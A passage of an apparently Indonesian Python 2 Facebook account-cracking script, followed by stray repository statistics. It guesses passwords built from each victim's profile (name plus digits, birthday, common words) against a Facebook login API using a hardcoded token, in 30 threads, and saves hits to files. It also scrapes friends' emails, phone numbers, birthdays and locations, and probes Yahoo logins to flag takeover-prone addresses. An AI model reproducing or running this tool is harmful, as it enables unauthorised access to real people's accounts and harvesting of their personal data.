if 'www.facebook.com' in q["error_msg"]:
print '\x1b[1;96m[✖] \x1b[1;93mCEKPOINT'
print '\x1b[1;96m[✺] \x1b[1;97mNama \x1b[1;91m : \x1b[1;93m' + b['name']
print '\x1b[1;96m[➹] \x1b[1;97mID \x1b[1;91m : \x1b[1;93m' + user
print '\x1b[1;96m[➹] \x1b[1;97mPassword \x1b[1;91m: \x1b[1;93m' + pass1 + '\n'
cek = open("out/super_cp.txt", "a")
cek.write("ID:" +user+ " Pw:" +pass1+"\n")
cek.close()
cekpoint.append(user+pass1)
else:
pass2 = b['first_name']+'12345'
data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="+(pass2)+"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6")
q = json.load(data)
if 'access_token' in q:
print '\x1b[1;96m[✓] \x1b[1;92mBERHASIL'
print '\x1b[1;96m[✺] \x1b[1;97mNama \x1b[1;91m : \x1b[1;92m' + b['name']
print '\x1b[1;96m[➹] \x1b[1;97mID \x1b[1;91m : \x1b[1;92m' + user
print '\x1b[1;96m[➹] \x1b[1;97mPassword \x1b[1;91m: \x1b[1;92m' + pass2 + '\n'
oks.append(user+pass2)
else:
if 'www.facebook.com' in q["error_msg"]:
print '\x1b[1;96m[✖] \x1b[1;93mCEKPOINT'
print '\x1b[1;96m[✺] \x1b[1;97mNama \x1b[1;91m : \x1b[1;93m' + b['name']
print '\x1b[1;96m[➹] \x1b[1;97mID \x1b[1;91m : \x1b[1;93m' + user
print '\x1b[1;96m[➹] \x1b[1;97mPassword \x1b[1;91m: \x1b[1;93m' + pass2 + '\n'
cek = open("out/super_cp.txt", "a")
cek.write("ID:" +user+ " Pw:" +pass2+"\n")
cek.close()
cekpoint.append(user+pass2)
else:
pass3 = b['last_name'] + '123'
data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="+(pass3)+"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6")
q = json.load(data)
if 'access_token' in q:
print '\x1b[1;96m[✓] \x1b[1;92mBERHASIL'
print '\x1b[1;96m[✺] \x1b[1;97mNama \x1b[1;91m : \x1b[1;92m' + b['name']
print '\x1b[1;96m[➹] \x1b[1;97mID \x1b[1;91m : \x1b[1;92m' + user
print '\x1b[1;96m[➹] \x1b[1;97mPassword \x1b[1;91m: \x1b[1;92m' + pass3 + '\n'
oks.append(user+pass3)
else:
if 'www.facebook.com' in q["error_msg"]:
print '\x1b[1;96m[✖] \x1b[1;93mCEKPOINT'
print '\x1b[1;96m[✺] \x1b[1;97mNama \x1b[1;91m : \x1b[1;93m' + b['name']
print '\x1b[1;96m[➹] \x1b[1;97mID \x1b[1;91m : \x1b[1;93m' + user
print '\x1b[1;96m[➹] \x1b[1;97mPassword \x1b[1;91m: \x1b[1;93m' + pass3 + '\n'
cek = open("out/super_cp.txt", "a")
cek.write("ID:" +user+ " Pw:" +pass3+"\n")
cek.close()
cekpoint.append(user+pass3)
else:
pass4 = 'Bangsat'
data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="+(pass4)+"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6")
q = json.load(data)
if 'access_token' in q:
print '\x1b[1;96m[✓] \x1b[1;92mBERHASIL'
print '\x1b[1;96m[✺] \x1b[1;97mNama \x1b[1;91m : \x1b[1;92m' + b['name']
print '\x1b[1;96m[➹] \x1b[1;97mID \x1b[1;91m : \x1b[1;92m' + user
print '\x1b[1;96m[➹] \x1b[1;97mPassword \x1b[1;91m: \x1b[1;92m' + pass4 + '\n'
oks.append(user+pass4)
else:
if 'www.facebook.com' in q["error_msg"]:
print '\x1b[1;96m[✖] \x1b[1;93mCEKPOINT'
print '\x1b[1;96m[✺] \x1b[1;97mNama \x1b[1;91m : \x1b[1;93m' + b['name']
print '\x1b[1;96m[➹] \x1b[1;97mID \x1b[1;91m : \x1b[1;93m' + user
print '\x1b[1;96m[➹] \x1b[1;97mPassword \x1b[1;91m: \x1b[1;93m' + pass4 + '\n'
cek = open("out/super_cp.txt", "a")
cek.write("ID:" +user+ " Pw:" +pass4+"\n")
cek.close()
cekpoint.append(user+pass4)
else:
birthday = b['birthday']
pass5 = birthday.replace('/', '')
data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="+(pass5)+"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6")
q = json.load(data)
if 'access_token' in q:
print '\x1b[1;96m[✓] \x1b[1;92mBERHASIL'
print '\x1b[1;96m[✺] \x1b[1;97mNama \x1b[1;91m : \x1b[1;92m' + b['name']
print '\x1b[1;96m[➹] \x1b[1;97mID \x1b[1;91m : \x1b[1;92m' + user
print '\x1b[1;96m[➹] \x1b[1;97mPassword \x1b[1;91m: \x1b[1;92m' + pass5 + '\n'
oks.append(user+pass5)
else:
if 'www.facebook.com' in q["error_msg"]:
print '\x1b[1;96m[✖] \x1b[1;93mRAKA_CP'
print '\x1b[1;96m[✺] \x1b[1;97mNama \x1b[1;91m : \x1b[1;93m' + b['name']
print '\x1b[1;96m[➹] \x1b[1;97mID \x1b[1;91m : \x1b[1;93m' + user
print '\x1b[1;96m[➹] \x1b[1;97mPassword \x1b[1;91m: \x1b[1;93m' + pass5 + '\n'
cek = open("out/super_cp.txt", "a")
cek.write("ID:" +user+ " Pw:" +pass5+"\n")
cek.close()
cekpoint.append(user+pass5)
else:
pass6 = 'Sayang'
data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="+(pass6)+"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6")
q = json.load(data)
if 'access_token' in q:
print '\x1b[1;96m[✓] \x1b[1;92mBERHASIL'
print '\x1b[1;96m[✺] \x1b[1;97mName \x1b[1;91m : \x1b[1;92m' + b['name']
print '\x1b[1;96m[➹] \x1b[1;97mID \x1b[1;91m : \x1b[1;92m' + user
print '\x1b[1;96m[➹] \x1b[1;97mPassword \x1b[1;91m: \x1b[1;92m' + pass6 + '\n'
oks.append(user+pass6)
else:
if 'www.facebook.com' in q["error_msg"]:
print '\x1b[1;96m[✖] \x1b[1;93mRAKA_CP
print '\x1b[1;96m[✺] \x1b[1;97mName \x1b[1;91m : \x1b[1;93m' + b['name']
print '\x1b[1;96m[➹] \x1b[1;97mID \x1b[1;91m : \x1b[1;93m' + user
print '\x1b[1;96m[➹] \x1b[1;97mPassword \x1b[1;91m: \x1b[1;93m' + pass6 + '\n'
cek = open("out/super_cp.txt", "a")
cek.write("ID:" +user+ " Pw:" +pass6+"\n")
cek.close()
cekpoint.append(user+pass6)
except:
pass
p = ThreadPool(30)
p.map(main, id)
print '\033[1;96m[\033[1;97m✓\033[1;96m] \033[1;92mSelesai \033[1;97m....'
print"\033[1;96m[+] \033[1;92mTotal OK/\x1b[1;93mCP \033[1;91m: \033[1;92m"+str(len(oks))+"\033[1;97m/\033[1;93m"+str(len(cekpoint))
print("\033[1;96m[+] \033[1;92mCP File tersimpan \033[1;91m: \033[1;97mout/super_cp.txt")
raw_input("\n\033[1;96m[\033[1;97mKembali\033[1;96m]")
super()
def grupsaya():
os.system('clear')
try:
toket=open('login.txt','r').read()
except IOError:
print"\033[1;96m[!] \x1b[1;91mToken invalid"
os.system('rm -rf login.txt')
time.sleep(1)
keluar()
try:
os.mkdir('out')
except OSError:
pass
os.system('clear')
print logo
print 42*"\033[1;96m="
try:
uh = requests.get('https://graph.facebook.com/me/groups?access_token='+toket)
gud = json.loads(uh.text)
for p in gud['data']:
nama = p["name"]
id = p["id"]
f=open('out/Grupid.txt','w')
listgrup.append(id)
f.write(id + '\n')
print("\033[1;96m[✓] \033[1;92mGROUP SAYA")
print("\033[1;96m[➹] \033[1;97mID \033[1;91m: \033[1;92m"+str(id))
print("\033[1;96m[➹] \033[1;97mName\033[1;91m: \033[1;92m"+str(nama) + '\n')
print 42*"\033[1;96m="
print"\033[1;96m[+] \033[1;92mTotal Group \033[1;91m:\033[1;97m %s"%(len(listgrup))
print("\033[1;96m[+] \033[1;92mTersimpan \033[1;91m: \033[1;97mout/Grupid.txt")
f.close()
raw_input("\n\033[1;96m[\033[1;97mKembali\033[1;96m]")
menu()
except (KeyboardInterrupt,EOFError):
print("\033[1;96m[!] \x1b[1;91mTerhenti")
raw_input("\n\033[1;96m[\033[1;97mKembali\033[1;96m]")
menu()
except KeyError:
os.remove('out/Grupid.txt')
print('\033[1;96m[!] \x1b[1;91mGroup tidak ditemukan')
raw_input("\n\033[1;96m[\033[1;97mKembali\033[1;96m]")
menu()
except requests.exceptions.ConnectionError:
print"\033[1;96m[✖] \x1b[1;91mTidak ada koneksi"
keluar()
except IOError:
print "\033[1;96m[!] \x1b[1;91mError"
raw_input("\n\033[1;96m[\033[1;97mKembali\033[1;96m]")
menu()
def informasi():
os.system('clear')
try:
toket=open('login.txt','r').read()
except IOError:
print"\033[1;91m[!] Token invalid"
os.system('rm -rf login.txt')
time.sleep(1)
keluar()
os.system('clear')
print logo
print 42*"\033[1;96m="
aid = raw_input('\033[1;96m[+] \033[1;93mMasukan ID/Nama\033[1;91m : \033[1;97m')
jalan('\033[1;96m[✺] \033[1;93mTunggu sebentar \033[1;97m...')
r = requests.get('https://graph.facebook.com/me/friends?access_token='+toket)
cok = json.loads(r.text)
for i in cok['data']:
if aid in i['name'] or aid in i['id']:
x = requests.get("https://graph.facebook.com/"+i['id']+"?access_token="+toket)
z = json.loads(x.text)
print 43*"\033[1;96m="
try:
print '\033[1;96m[➹] \033[1;93mNama\033[1;97m : '+z['name']
except KeyError: print '\033[1;96m[?] \033[1;93mNama\033[1;97m : \033[1;91mTidak ada'
try:
print '\033[1;96m[➹] \033[1;93mID\033[1;97m : '+z['id']
except KeyError: print '\033[1;96m[?] \033[1;93mID\033[1;97m : \033[1;91mTidak ada'
try:
print '\033[1;96m[➹] \033[1;93mEmail\033[1;97m : '+z['email']
except KeyError: print '\033[1;96m[?] \033[1;93mEmail\033[1;97m : \033[1;91mTidak ada'
try:
print '\033[1;96m[➹] \033[1;93mNo HP\033[1;97m : '+z['mobile_phone']
except KeyError: print '\033[1;96m[?] \033[1;93mNo HP\033[1;97m : \033[1;91mTidak ada'
try:
print '\033[1;96m[➹] \033[1;93mTempat tinggal\033[1;97m: '+z['location']['name']
except KeyError: print '\033[1;96m[?] \033[1;93mTempat tinggal\033[1;97m: \033[1;91mTidak ada'
try:
print '\033[1;96m[➹] \033[1;93mTanggal lahir\033[1;97m : '+z['birthday']
except KeyError: print '\033[1;96m[?] \033[1;93mTanggal lahir\033[1;97m : \033[1;91mTidak ada'
try:
print '\033[1;96m[➹] \033[1;93mSekolah\033[1;97m : '
for q in z['education']:
try:
print '\033[1;91m ~ \033[1;97m'+q['school']['name']
except KeyError: print '\033[1;91m ~ \033[1;91mTidak ada'
except KeyError: pass
raw_input("\n\033[1;96m[\033[1;97mKembali\033[1;96m]")
menu()
else:
pass
else:
print"\033[1;96m[✖] \x1b[1;91mAkun tidak ditemukan"
raw_input("\n\033[1;96m[\033[1;97mKembali\033[1;96m]")
menu()
def yahoo():
global toket
os.system('clear')
try:
toket=open('login.txt','r').read()
except IOError:
print"\033[1;91m[!] Token invalid"
os.system('rm -rf login.txt')
time.sleep(1)
keluar()
os.system('clear')
print logo
print 42*"\033[1;96m="
print "\x1b[1;97m1.\x1b[1;93m Clone From Friend List"
print "\x1b[1;97m2.\x1b[1;93m Clone From Public List"
print "\x1b[1;97m3.\x1b[1;93m Clone From Group member group"
print "\x1b[1;97m4.\x1b[1;93m Clone From file"
print "\n\x1b[1;91m0.\x1b[1;91m Kembali"
clone()
def clone():
embuh = raw_input("\n\x1b[1;97m >>> ")
if embuh =="":
print "\033[1;96m[!] \x1b[1;91mIsi yang benar"
elif embuh =="1":
clone_dari_daftar_teman()
elif embuh =="2":
clone_dari_teman()
elif embuh =="3":
clone_dari_member_group()
elif embuh =="4":
clone_dari_file()
elif embuh =="0":
menu()
else:
print "\033[1;96m[!] \x1b[1;91mIsi yang benar"
def clone_dari_daftar_teman():
global toket
os.system('reset')
try:
toket=open('login.txt','r').read()
except IOError:
print"\033[1;91m[!] Token Invalid"
os.system('rm -rf login.txt')
time.sleep(1)
keluar()
try:
os.mkdir('out')
except OSError:
pass
os.system('clear')
print logo
mpsh = []
jml = 0
print 42*"\033[1;96m="
jalan('\033[1;96m[\x1b[1;97m✺\x1b[1;96m] \033[1;93mMengambil email \033[1;97m...')
teman = requests.get('https://graph.facebook.com/me/friends?access_token='+toket)
kimak = json.loads(teman.text)
jalan('\033[1;96m[\x1b[1;97m✺\x1b[1;96m] \033[1;93mStart \033[1;97m...')
print ('\x1b[1;96m[!] \x1b[1;93mStop CTRL+z')
print 42*"\033[1;96m="
for w in kimak['data']:
jml +=1
mpsh.append(jml)
id = w['id']
nama = w['name']
links = requests.get("https://graph.facebook.com/"+id+"?access_token="+toket)
z = json.loads(links.text)
try:
mail = z['email']
yahoo = re.compile(r'@.*')
otw = yahoo.search(mail).group()
if 'yahoo.com' in otw:
br.open("https://login.yahoo.com/config/login?.src=fpctx&.intl=id&.lang=id-ID&.done=https://id.yahoo.com")
br._factory.is_html = True
br.select_form(nr=0)
br["username"] = mail
klik = br.submit().read()
jok = re.compile(r'"messages.ERROR_INVALID_USERNAME">.*')
try:
pek = jok.search(klik).group()
except:
continue
if '"messages.ERROR_INVALID_USERNAME">' in pek:
print("\033[1;96m[✓] \033[1;92mVULN")
print("\033[1;96m[➹] \033[1;97mID \033[1;91m: \033[1;92m"+id)
print("\033[1;96m[➹] \033[1;97mEmail\033[1;91m: \033[1;92m"+mail)
print("\033[1;96m[➹] \033[1;97mName \033[1;91m: \033[1;92m"+name+ '\n')
save = open('out/MailVuln.txt','a')
save.write("Nama : "+ name + '\n' "ID : "+ id + '\n' "Email : "+ mail + '\n\n')
save.close()
berhasil.append(mail)
except KeyError:
pass
print 42*"\033[1;96m="
print '\033[1;96m[\033[1;97m✓\033[1;96m] \033[1;92mSelesai \033[1;97m....'
print"\033[1;96m[+] \033[1;92mTotal \033[1;91m: \033[1;97m"+str(len(berhasil))
print"\033[1;96m[+] \033[1;92mFile tersimpan \033[1;91m:\033[1;97m out/MailVuln.txt"
raw_input("\n\033[1;96m[\033[1;97mKembali\033[1;96m]")
menu()
def clone_dari_teman():
global toket
os.system('clear')
try:
toket=open('login.txt','r').read()
except IOError:
print"\033[1;96m[!] \x1b[1;91mToken invalid"
os.system('rm -rf login.txt')
time.sleep(1)
keluar()
try:
os.mkdir('out')
except OSError:
pass
os.system('clear')
print logo
mpsh = []
jml = 0
print 42*"\033[1;96m="
idt = raw_input("\033[1;96m[+] \033[1;93mMasukan ID teman \033[1;91m: \033[1;97m")
try:
jok = requests.get("https://graph.facebook.com/"+idt+"?access_token="+toket)
op = json.loads(jok.text)
print"\033[1;96m[\033[1;97m✓\033[1;96m] \033[1;93mNama\033[1;91m :\033[1;97m "+op["name"]
except KeyError:
print"\033[1;96m[!] \x1b[1;91mTeman tidak ditemukan"
raw_input("\n\033[1;96m[\033[1;97mKembali\033[1;96m]")
menu()
jalan('\033[1;96m[✺] \033[1;93mMengambil email \033[1;97m...')
teman = requests.get('https://graph.facebook.com/'+idt+'/friends?access_token='+toket)
kimak = json.loads(teman.text)
jalan('\033[1;96m[✺] \033[1;93mStart \033[1;97m...')
print('\x1b[1;96m[!] \x1b[1;93mStop CTRL+z')
print 43*"\033[1;96m="
for w in kimak['data']:
jml +=1
mpsh.append(jml)
id = w['id']
nama = w['name']
links = requests.get("https://graph.facebook.com/"+id+"?access_token="+toket)
z = json.loads(links.text)
try:
mail = z['email']
yahoo = re.compile(r'@.*')
otw = yahoo.search(mail).group()
if 'yahoo.com' in otw:
br.open("https://login.yahoo.com/config/login?.src=fpctx&.intl=id&.lang=id-ID&.done=https://id.yahoo.com")
br._factory.is_html = True
br.select_form(nr=0)
br["username"] = mail
klik = br.submit().read()
jok = re.compile(r'"messages.ERROR_INVALID_USERNAME">.*')
try:
pek = jok.search(klik).group()
except:
continue
if '"messages.ERROR_INVALID_USERNAME">' in pek:
print("\033[1;96m[✓] \033[1;92mVULN")
print("\033[1;96m[➹] \033[1;97mID \033[1;91m: \033[1;92m"+id)
print("\033[1;96m[➹] \033[1;97mEmail\033[1;91m: \033[1;92m"+mail)
print("\033[1;96m[➹] \033[1;97mName \033[1;91m: \033[1;92m"+nama)
save = open('out/TemanMailVuln.txt','a')
save.write("Name : "+ name + '\n' "ID : "+ id + '\n' "Email : "+ mail + '\n\n')
save.close()
berhasil.append(mail)
except KeyError:
pass
print 42*"\033[1;96m="
print '\033[1;96m[\033[1;97m✓\033[1;96m] \033[1;92mSelesai \033[1;97m....'
print"\033[1;96m[+] \033[1;92mTotal \033[1;91m: \033[1;97m"+str(len(berhasil))
print"\033[1;96m[+] \033[1;92mFile tersimpan \033[1;91m:\033[1;97m out/TemanMailVuln.txt"
raw_input("\n\033[1;96m[\033[1;97mKembali\033[1;96m]")
menu()
def clone_dari_member_group():
global toket
os.system('clear')
try:
toket=open('login.txt','r').read()
except IOError:
print"\033[1;96m[!] \x1b[1;91mToken invalid"
os.system('rm -rf login.txt')
time.sleep(1)
keluar()
try:
os.mkdir('out')
except OSError:
pass
os.system('clear')
print logo
mpsh = []
jml = 0
print 42*"\033[1;96m="
id=raw_input('\033[1;96m[+] \033[1;93mMasukan ID group \033[1;91m:\033[1;97m ')
try:
r=requests.get('https://graph.facebook.com/group/?id='+id+'&access_token='+toket)
asw=json.loads(r.text)
print"\033[1;96m[\033[1;97m✓\033[1;96m] \033[1;93mNama group \033[1;91m:\033[1;97m "+asw['name']
except KeyError:
print"\033[1;96m[!] \x1b[1;91mGroup tidak ditemukan"
raw_input("\n\033[1;96m[\033[1;97mKembali\033[1;96m]")
menu()
jalan('\033[1;96m[✺] \033[1;93mMengambil email \033[1;97m...')
teman = requests.get('https://graph.facebook.com/'+id+'/members?fields=name,id&limit=999999999&access_token='+toket)
kimak = json.loads(teman.text)
jalan('\033[1;96m[✺] \033[1;93mStart \033[1;97m...')
print('\x1b[1;96m[!] \x1b[1;93mStop CTRL+z')
print 42*"\033[1;96m="
for w in kimak['data']:
jml +=1
mpsh.append(jml)
id = w['id']
nama = w['name']
links = requests.get("https://graph.facebook.com/"+id+"?access_token="+toket)
z = json.loads(links.text)
try:
mail = z['email']
yahoo = re.compile(r'@.*')
otw = yahoo.search(mail).group()
if 'yahoo.com' in otw:
br.open("https://login.yahoo.com/config/login?.src=fpctx&.intl=id&.lang=id-ID&.done=https://id.yahoo.com")
br._factory.is_html = True
br.select_form(nr=0)
br["username"] = mail
klik = br.submit().read()
jok = re.compile(r'"messages.ERROR_INVALID_USERNAME">.*')
try:
pek = jok.search(klik).group()
except:
continue
if '"messages.ERROR_INVALID_USERNAME">' in pek:
print("\033[1;96m[✓] \033[1;92mVULN")
print("\033[1;96m[➹] \033[1;97mID \033[1;91m: \033[1;92m"+id)
print("\033[1;96m[➹] \033[1;97mEmail\033[1;91m: \033[1;92m"+mail)
print("\033[1;96m[➹] \033[1;97mNama \033[1;91m: \033[1;92m"+nama)
save = open('out/GrupMailVuln.txt','a')
save.write("Nama : "+ nama + '\n' "ID : "+ id + '\n' "Email : "+ mail + '\n\n')
save.close()
berhasil.append(mail)
except KeyError:
pass
print 42*"\033[1;96m="
print '\033[1;96m[\033[1;97m✓\033[1;96m] \033[1;92mSelesai \033[1;97m....'
print"\033[1;96m[+] \033[1;92mTotal \033[1;91m: \033[1;97m"+str(len(berhasil))
print"\033[1;96m[+] \033[1;92mFile tersimpan \033[1;91m:\033[1;97m out/GrupMailVuln.txt"
raw_input("\n\033[1;96m[\033[1;97mKembali\033[1;96m]")
menu()
def clone_dari_file():
global toket
os.system('clear')
try:
toket=open('login.txt','r').read()
except IOError:
print"\033[1;96m[!] \x1b[1;91mToken invalid"
os.system('rm -rf login.txt')
time.sleep(1)
keluar()
try:
os.mkdir('out')
except OSError:
pass
os.system('clear')
print logo
print 42*"\033[1;96m="
files = raw_input("\033[1;96m[+] \033[1;93mNama File \033[1;91m: \033[1;97m")
try:
total = open(files,"r")
mail = total.readlines()
except IOError:
print"\033[1;96m[!] \x1b[1;91mFile tidak ditemukan"
raw_input("\n\033[1;96m[\033[1;97mKembali\033[1;96m]")
menu()
mpsh = []
jml = 0
jalan('\033[1;96m[✺] \033[1;93mStart \033[1;97m...')
print('\x1b[1;96m[!] \x1b[1;93mStop CTRL+z')
print 42*"\033[1;96m="
mail = open(files,"r").readlines()
for pw in mail:
mail = pw.replace("\n","")
jml +=1
mpsh.append(jml)
yahoo = re.compile(r'@.*')
otw = yahoo.search(mail).group()
if 'yahoo.com' in otw:
br.open("https://login.yahoo.com/config/login?.src=fpctx&.intl=id&.lang=id-ID&.done=https://id.yahoo.com")
br._factory.is_html = True
br.select_form(nr=0)
br["username"] = mail
klik = br.submit().read()
jok = re.compile(r'"messages.ERROR_INVALID_USERNAME">.*')
try:
pek = jok.search(klik).group()
except:
continue
if '"messages.ERROR_INVALID_USERNAME">' in pek:
print("\033[1;96m[✓] \033[1;92mVULN")
print("\033[1;96m[➹] \033[1;97mEmail\033[1;91m: \033[1;92m"+mail)
save = open('out/MailVuln.txt','a')
save.write("Email: "+ mail + '\n\n')
save.close()
berhasil.append(mail)
print 42*"\033[1;96m="
print '\033[1;96m[\033[1;97m✓\033[1;96m] \033[1;92mSelesai \033[1;97m....'
print"\033[1;96m[+] \033[1;92mTotal \033[1;91m: \033[1;97m"+str(len(berhasil))
print"\033[1;96m[+] \033[1;92mFile Tersimpan \033[1;91m:\033[1;97m out/FileMailVuln.txt"
raw_input("\n\033[1;96m[\033[1;97mKembali\033[1;96m]")
menu()
if __name__=='__main__':
menu()
masuk()
| 36.118182
| 299
| 0.602756
| 5,197
| 31,784
| 3.725034
| 0.087166
| 0.088848
| 0.059662
| 0.04711
| 0.801539
| 0.782065
| 0.73666
| 0.710109
| 0.691565
| 0.66584
| 0
| 0.159055
| 0.169205
| 31,784
| 879
| 300
| 36.159272
| 0.559608
| 0
| 0
| 0.620773
| 0
| 0.13285
| 0.503635
| 0.118132
| 0
| 0
| 0
| 0
| 0
| 0
| null | null | 0.066425
| 0.013285
| null | null | 0.246377
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
|
0
| 7
|
57a84071e31bdbe9fe96b6199e5b683c289a2ffd
| 2,087
|
py
|
Python
|
price_simulator/src/algorithm/agents/test/test_simple.py
|
matthias-hettich/price_simulator
|
af127f3cb0cea41bb2d4673839201a9312f56e79
|
[
"MIT"
] | 4
|
2021-06-01T13:54:04.000Z
|
2021-11-22T19:00:13.000Z
|
price_simulator/src/algorithm/agents/test/test_simple.py
|
matthias-hettich/price_simulator
|
af127f3cb0cea41bb2d4673839201a9312f56e79
|
[
"MIT"
] | null | null | null |
price_simulator/src/algorithm/agents/test/test_simple.py
|
matthias-hettich/price_simulator
|
af127f3cb0cea41bb2d4673839201a9312f56e79
|
[
"MIT"
] | 2
|
2021-09-25T06:09:56.000Z
|
2021-11-03T10:31:49.000Z
|
from price_simulator.src.algorithm.agents.simple import AlwaysDefectAgent, PenetrationPricer, PremiumPricer, Follower
def test_play_price():
agent = AlwaysDefectAgent()
assert agent.play_price((), [1.0, 2.0], 0, 0) == 1.0
agent = PremiumPricer()
assert agent.play_price((1.0, 1.0, 1.0), [1.0, 2.0, 3.0, 4.0], 0, 0) == 2.0
assert agent.play_price((1.0, 2.0, 3.0), [1.0, 2.0, 3.0, 4.0], 0, 0) == 3.0
assert agent.play_price((1.0, 2.0, 2.0), [1.0, 2.0, 3.0, 4.0], 0, 0) == 3.0
assert agent.play_price((1.0, 2.0, 1.0), [1.0, 2.0, 3.0, 4.0], 0, 0) == 3.0
assert agent.play_price((4.0, 2.0, 3.0), [1.0, 2.0, 3.0, 4.0], 0, 0) == 4.0
assert agent.play_price((4.0, 2.0, 3.0), [1.0, 2.0, 3.0, 4.0], 0, 0) == 4.0
assert agent.play_price((4.0, 4.0, 4.0), [1.0, 2.0, 3.0, 4.0], 0, 0) == 4.0
assert agent.play_price((3.0, 2.0, 4.0), [1.0, 2.0, 3.0, 4.0], 0, 0) == 4.0
agent = PenetrationPricer()
assert agent.play_price((1.0, 1.0, 1.0), [1.0, 2.0, 3.0, 4.0], 0, 0) == 1.0
assert agent.play_price((1.0, 1.0, 3.0), [1.0, 2.0, 3.0, 4.0], 0, 0) == 1.0
assert agent.play_price((4.0, 4.0, 2.0), [1.0, 2.0, 3.0, 4.0], 0, 0) == 3.0
assert agent.play_price((2.0, 3.0, 1.0), [1.0, 2.0, 3.0, 4.0], 0, 0) == 1.0
assert agent.play_price((4.0, 4.0, 4.0), [1.0, 2.0, 3.0, 4.0], 0, 0) == 3.0
assert agent.play_price((4.0, 1.0, 3.0), [1.0, 2.0, 3.0, 4.0], 0, 0) == 1.0
assert agent.play_price((3.0, 4.0, 2.0), [1.0, 2.0, 3.0, 4.0], 0, 0) == 2.0
agent = Follower()
assert agent.play_price((1.0, 1.0, 1.0), [1.0, 2.0, 3.0, 4.0], 0, 0) == 1.0
assert agent.play_price((1.0, 1.0, 3.0), [1.0, 2.0, 3.0, 4.0], 0, 0) == 1.0
assert agent.play_price((4.0, 4.0, 2.0), [1.0, 2.0, 3.0, 4.0], 0, 0) == 4.0
assert agent.play_price((2.0, 3.0, 1.0), [1.0, 2.0, 3.0, 4.0], 0, 0) == 2.0
assert agent.play_price((4.0, 4.0, 4.0), [1.0, 2.0, 3.0, 4.0], 0, 0) == 4.0
assert agent.play_price((4.0, 1.0, 3.0), [1.0, 2.0, 3.0, 4.0], 0, 0) == 1.0
assert agent.play_price((3.0, 4.0, 2.0), [1.0, 2.0, 3.0, 4.0], 0, 0) == 3.0
| 59.628571
| 117
| 0.519406
| 520
| 2,087
| 2.034615
| 0.042308
| 0.098299
| 0.121928
| 0.102079
| 0.81569
| 0.811909
| 0.811909
| 0.810019
| 0.787335
| 0.786389
| 0
| 0.241627
| 0.19885
| 2,087
| 34
| 118
| 61.382353
| 0.391148
| 0
| 0
| 0.344828
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.793103
| 1
| 0.034483
| false
| 0
| 0.034483
| 0
| 0.068966
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 9
|
57b41264252d81d9aad02e49eb2b3461482399a3
| 116
|
py
|
Python
|
diffractsim/holography/__init__.py
|
rafael-fuente/diffractsim
|
7287635d2bfa76f8b1eb24c6208796f761dd6144
|
[
"BSD-3-Clause"
] | 29
|
2022-01-01T01:16:29.000Z
|
2022-03-31T00:42:52.000Z
|
diffractsim/holography/__init__.py
|
rafael-fuente/diffractsim
|
7287635d2bfa76f8b1eb24c6208796f761dd6144
|
[
"BSD-3-Clause"
] | 2
|
2022-01-02T17:33:00.000Z
|
2022-01-03T17:51:39.000Z
|
diffractsim/holography/__init__.py
|
rafael-fuente/diffractsim
|
7287635d2bfa76f8b1eb24c6208796f761dd6144
|
[
"BSD-3-Clause"
] | 6
|
2022-02-07T22:44:42.000Z
|
2022-03-23T12:34:54.000Z
|
from .fourier_phase_retrieval import FourierPhaseRetrieval
from .custom_phase_retrieval import CustomPhaseRetrieval
| 38.666667
| 58
| 0.913793
| 12
| 116
| 8.5
| 0.666667
| 0.27451
| 0.392157
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.068966
| 116
| 2
| 59
| 58
| 0.944444
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
57f92c77dc0909b907f2549c42d946b3966ee28b
| 51
|
py
|
Python
|
instances/config.py
|
Susan-Kathoni/NEWS_APP
|
ca8c02639dc4dd48225b8cebbd5fb1a210a972c9
|
[
"MIT"
] | null | null | null |
instances/config.py
|
Susan-Kathoni/NEWS_APP
|
ca8c02639dc4dd48225b8cebbd5fb1a210a972c9
|
[
"MIT"
] | null | null | null |
instances/config.py
|
Susan-Kathoni/NEWS_APP
|
ca8c02639dc4dd48225b8cebbd5fb1a210a972c9
|
[
"MIT"
] | null | null | null |
